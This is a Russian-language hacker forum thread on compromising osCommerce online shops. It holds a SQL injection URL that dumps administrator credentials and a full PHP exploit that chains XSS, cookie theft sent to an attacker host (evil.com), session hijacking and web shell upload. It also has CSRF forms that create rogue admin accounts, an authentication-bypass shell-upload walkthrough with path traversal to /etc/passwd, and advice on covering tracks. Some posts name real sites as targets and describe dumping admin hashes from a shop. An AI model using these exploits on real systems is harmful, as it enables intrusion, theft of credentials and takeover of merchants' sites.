Обзор уязвимостей osCommerce === osCommerce 3.0a3 (admin/templates_boxes_layout.php) Directory Traversal Bug Discloses Files to Remote Users === === osCommerce 2.2 Multiple Cross Site Scripting Vulnerability === === osCommerce 2.2 (osCsid) Cross Site Scripting Vulnerability === === osCommerce 2.2 (error_message) Cross Site Scripting Vulnerability === === osCommerce 2.2 (file_manager.php) File Browsing === === osCommerce <= 2.2 (extras/) information/source code disclosure === === osCommerce <=2.2 SQL Injection Vulnerability (create_account_process.php) === === osCommerce <=2.2 (index.php) HTTP Response Splitting === === osCommerce SQL Injection (customer_testimonials.php) === === osCommerce (Contact_us) Cross Site Scripting Vulnerability === === osCommerce (wrapper.php) PHP Including Vulnerability === upd: === Oscommerce <= 2.2 (advanced_search_result.php) SQL-injection === url: advanced_search_result.php?inc_subcat=1&keywords=%20&categories_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_ password)+from+administrators+limit+1,1-- Напишу еще от меня: admin/ - админка. includes/configure.php - здесь хранится данные к mysql, и общие настройки. admin/configure.php - здесь хранится данные к mysql, и общие настройки. в старых версиях также лежит пароль к админке в открытом виде. admin/backups/ - здесь хранятся mysql бекапы, не всегда админы ставят правильные права. md5(salt+plain):salt - в таком виде хранятся пароли в базе. customers - таблица юзеров. customers_email_address, customers_password - поля в таблице customers необходимые для авторизации юзеров. administrator или admin - таблица админов. admin_email_address, admin_password - поля в таблице administrator необходимые для авторизации админов. (c) life_is_shit
Версия х3, какой мод стоит тоже х3) найдено 28.06.2007 Code: http://localhost/os/admin/htmlarea/popups/file/insert_file.php заливаем наш шелл. по дефолту он заливается в папку download в корне, НО нам мешает .htaccess с содержанием Code: AuthType Basic AuthName "No access" AuthUserFile .htnopasswd AuthGroupFile /dev/null Require valid-user файл .htnopasswd как таковой вообще отсутствует и авторизация невозможна. поэтому заходим на Code: http://localhost/os/admin/htmlarea/popups/lister.php?DPI=96&action=delete&path=&file=../download/.htaccess и нагло сносим зловредный файл) Code: http://www.site.ro/admin/htmlarea/popups/file/files.php?dir=/../ Листинг. Примеры http://www.sex-toysuk.com/admin/htmlarea/popups/file/insert_file.php http://www.copilasultau.ro/admin/htmlarea/popups/file/files.php?dir=/../../
Уязвимости Oscommerce Скачать : http://www.oscommerce.com/solutions/downloads XSS: В этом движке есть раздел для изменения\редактирования баннеров( banner_manager.php): Code: http://site/oscommerce/admin/banner_manager.php?page=1&bID=1&action=new Уже видна ксс: Code: http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1'"><h1>lol&bID=1&action=new Мы можем написать подобие сплоита под эту багу: Code: <?php $web_vulnerable = 'http://127.0.0.1/oscommerce/'; /* Уязвимый юрл */ $url_shell = 'http://www.gay.com/evil/shell.txt'; /* Путь к нашему шеллу */ $logs = md5($web_vulnerable).'_logs.txt'; /* логи*/ if(!$_GET){ if($web_vulnerable[strlen($web_vulnerable) - 1] != '/') $web_vulnerable .= '/'; logs('Редирект для XSS'); header( 'Location: '. $web_vulnerable. 'admin/banner_manager.php?page=1"><script src=http://'. $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'] .'?acc=js></script><br x="&bID=1&action=new'); // Редирект exit; /* Крадем куки */ }elseif($_GET['acc'] == 'js'){ logs('Передача JavaScript'); die(' document.location="http://'. $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']. '?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + '. 'escape(navigator.userAgent); '); }elseif($_GET['acc'] == 'choco'){ logs('Cookie получены Cookie='.$_GET['galleta'].''); if(!$cookie = urldecode($_GET['galleta'])){ logs('Неа'); exit; } $host = explode('/', $web_vulnerable); $host = $host[2]; $url = explode('http://'.$host, $web_vulnerable); $url = $url[1].'/'; // Заливка шелла if(!$shell = file_get_contents($url_shell)){ logs('Не удалось залить шелл'); exit; } $post_data = '-----------------------------66182058019796 Content-Disposition: form-data; name="file_1"; filename="config.php" Content-Type: text/x-php '.$shell.' -----------------------------66182058019796 Content-Disposition: form-data; name="file_2"; filename="" Content-Type: application/octet-stream -----------------------------66182058019796 Content-Disposition: form-data; name="file_3"; filename="" Content-Type: application/octet-stream -----------------------------66182058019796 Content-Disposition: form-data; name="file_4"; filename="" Content-Type: application/octet-stream -----------------------------66182058019796 Content-Disposition: form-data; name="file_5"; filename="" Content-Type: application/octet-stream -----------------------------66182058019796 Content-Disposition: form-data; name="x" '.rand(10,19).' -----------------------------66182058019796 Content-Disposition: form-data; name="y" '.rand(10,19).' -----------------------------66182058019796-- '; /* Проверка соедениня */ if(!eregi('302', enviar_socket( 'POST '.$url.'admin/file_manager.php?action=processuploads HTTP/1.1 Host: '.$host.' User-Agent: '.urldecode($_GET['uag']).' Connection: close Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=upload Cookie: '.$cookie.' Content-Type: multipart/form-data; boundary=---------------------------66182058019796 Content-Length: '.(int)strlen($post_data)."\n\n".$post_data))){ logs('Ошибка'); exit; } /* Проверка на успешность) */ if(eregi('images/icons/success.gif', enviar_socket( 'GET '.$url.'admin/file_manager.php HTTP/1.1 Host: '.$host.' User-Agent: '.urldecode($_GET['uag']).' Connection: close Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=processuploads Cookie: '.$cookie."\n\n\n"))){ logs('Успешно URL='.$web_vulnerable.'config.php'); }else{ logs('Ошибка'); exit; } } function handle_socket(){ global $host; if(!$handle = fsockopen($host, 80)){ logs('Удаленный сервер не отвечает'); exit; } return $handle; } function enviar_socket($buffer){ $handle = handle_socket(); fwrite($handle, $buffer); while(!feof($handle)){ $buffer .= fgets($handle, 128); } fclose($handle); if(!$buffer){ logs('Удаленный сервер не отвечает'); exit; } return $buffer; } function logs($contenido){ global $logs; if(file_exists($logs)) $modo = 'a'; else $modo = 'x'; if(!$handle = fopen($logs, $modo)) return false; fwrite($handle, '[+] DATE['.date(DATE_RFC822).'] IP['.$_SERVER['REMOTE_ADDR'].'] LOG['.$contenido."]\x0D\x0A"); fclose($handle); } ?> Немного подробней: Code: http://site/oscommerce/admin/banner_manager.php?page=1"><script src=http://evil.com/manda.php?acc=js></script><br x="&bID=1&action=new Таким образом видно: Code: <form name="new_banner" action="http://site/oscommerce/admin/banner_manager.php?page=1\"><script src=http://evil.com/manda.php?acc=js></script><br x=\"&action=update" method="post" enctype="multipart/form-data"> Получаем печенья: Code: document.location="http://evil/manda.php?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + escape(navigator.userAgent); Зачем нам нужен User Agent? В Оскомерес есть "защита" на такие случаи: Смотри файл includes/application_top.php 227 строка: Code: if ($SESSION_USER_AGENT != $http_user_agent){ tep_session_destroy(); tep_redirect(tep_href_link(FILENAME_LOGIN)); } Используем : Code: User-Agent: '.urldecode($_GET['uag']).' Затем льем шелл: Code: http://site/oscommerce/admin/file_manager.php?action=processuploads Переходи на Admin / file_manager.php и смотри новые загрузки. Ксс там куева туча, практически везде где есть ID или что-то подобное, например: Code: http://site/oscommerce/admin/categories.php?action=new_product_preview&read=only&pID=18&origin=stats_products_viewed.php?page=1'"><h1>test Code: http://site/oscommerce/admin/configuration.php?gID=1'"><h1>test XSRF Code: http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath= POST /oscommerce/admin/categories.php?action=delete_category_confirm&cPath= HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows; U ... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://127.0.0.1/oscommerce/admin/categories.php?cPath=&cID=1&action=delete_category Cookie: osCAdminID=hfk8d6gg5n455ld7i4q20c4pf7; osCsid=pmvjahohiq09e0j2hr0rujffl0 Content-Type: application/x-www-form-urlencoded Content-Length: 25 categories_id=1&x=17&y=11 Видно? Code: <form method="post" action="http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath="> <input type=hidden name="categories_id" value="1" /> </form> <script>document.getElementsByTagName("form")[0].submit();</script> Создаем нового пользователя с правами админа: Code: <form method="post" action="http://127.0.0.1/oscommerce/admin/administrators.php?action=insert"> <input type=hidden name="username" value="r00t" /> <input type=hidden name="password" value="lol" /> <input type=hidden name="x" value="16" /> <input type=hidden name="y" value="13" /> </form> <script>document.getElementsByTagName("form")[0].submit();</script> Стоит заметить что движок часто использует $ _SERVER [ 'PHP_SELF'] , а это приводит к ксс, ну я насчитал у 26 файлов.... Например: Code: http://demo.oscommerce.com/index.php/ "> XSS <h1> Всем пис, скоро продолжу)
Заливаем шелл для osCommerce Online Merchant v2.2 RC2a. Заливаем шелл для osCommerce Online Merchant v2.2 RC2a. Для заливки пригодны два штатных инструмента /admin/file_manager.php /admin/banner_manager.php, но доступ к ним разрешен только авторизованному админу. Можно воспользоваться сплоитом http://www.milw0rm.com/exploits/9556 , который использует следующую уязвимость: для доступа к скриптам в каталоге admin/ проверяется валидность аминской сессии и если таковая не обнаружена идет перенаправление на admin/login.php (см. admin/includes/application_top.php) но проверка if ($current_page != FILENAME_LOGIN), если обнаружит, что url ссылается на login.php, редиррект не производит и тело скрипта выполняется. Достаточно модифицировать урл /admin/file_manager.php - /admin/file_manager.php/login.php /admin/banner_manager.php - /admin/banner_manager.php/login.php /admin/administrators.php - /admin/administrators.php/login.php и скрипт выполнится для неавторизованного пользователя. При заливке приходится учитывать, что часть сайтов отказывается выполнить залитый шелл, если на него установлены права на запись, к примеру c правами chmod 777 shell.php не запускается, а с правами chmod 755 shell.php срабатывает. Атаку можно провести следующим образом: 1 - (не обязательно) проверяем доступность и работоспособность file_manager.php http://target.com/admin/file_manager.php/login.php?action=download&filename=includes/configure.php или просто http://target.com/admin/file_manager.php/login.php работают конструкции типа http://target.com/file_manager.php?action=download&filename=../../../../../../../../etc/passwd 2 - (не обязательно, но удобнее) добавляем нового админа можно использовать, как предложил Uwater (из поста выше). HTML: <form method="post" action="http://target.com/admin/administrators.php/login.php?action=insert"> <input type=hidden name="username" value="as" /> <input type=hidden name="password" value="123123" /> <input type=hidden name="x" value="16" /> <input type=hidden name="y" value="13" /> </form> <script>document.getElementsByTagName("form")[0].submit();</script> 3 - льем шелл из админки, Administration/Tools/File Manager Administration/Tools/Banner Manager а если она не доступна (иногда administrtors.php удален) гуляем вместе с /admin/file_manager.php, модифицируя ссылки file_manager.php? на file_manager.php/login.php? Для заливки есть три команды action=new_file - чаще всего попадаем в нужные права chmod action=upload - удобно,но часто дает права на запись и шелл не запускается action=edit - когда не срабатывают первае два, просто трояним скрипт магазина (например для исправления chmod загруженного шелла) примеры http://target.com/admin/file_manager.php/login.php?action=new_file алтернативно http://target.com/admin/file_manager.php/login.php?action=upload алтернативно http://target.com/admin/banner_manager.php/login.php?action=new Для кнопок, отправляющих данные из формы приходится аналогично править исходный код страницы. file_manager.php (если мы не меняли каталог) льет шелл в корень магазина. banner_manager.php в images. 4 - чистим за собой (админа, баннеры, скрипты магазина)
Слил хеши админов, но не совсем понятен формат хранеия паролей в базе: md5(salt+plain):salt - что подразумевается под "plain"?
Недавно ломал один шоп, даже не посмотрел, что он на osCommerce, нашёл инъекцию: advanced_search_result.php?inc_subcat=1&keywords=%20&categories_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_password)+from+administrators+limit+1,1-- Она почему-то в багтреках не упоминается, но в отчётах о патчах есть
life_is_shit, вот oscommerce-2.2ms1j - Change Log, где это написано, что бага зафиксена 2007-02-17 16:53 http://ko.sourceforge.jp/projects/tep-j/document/oscommerce-2.2ms1j_oscommerce-2.2ms1j_-_Changes/ Стало быть версии до этой уязвимы.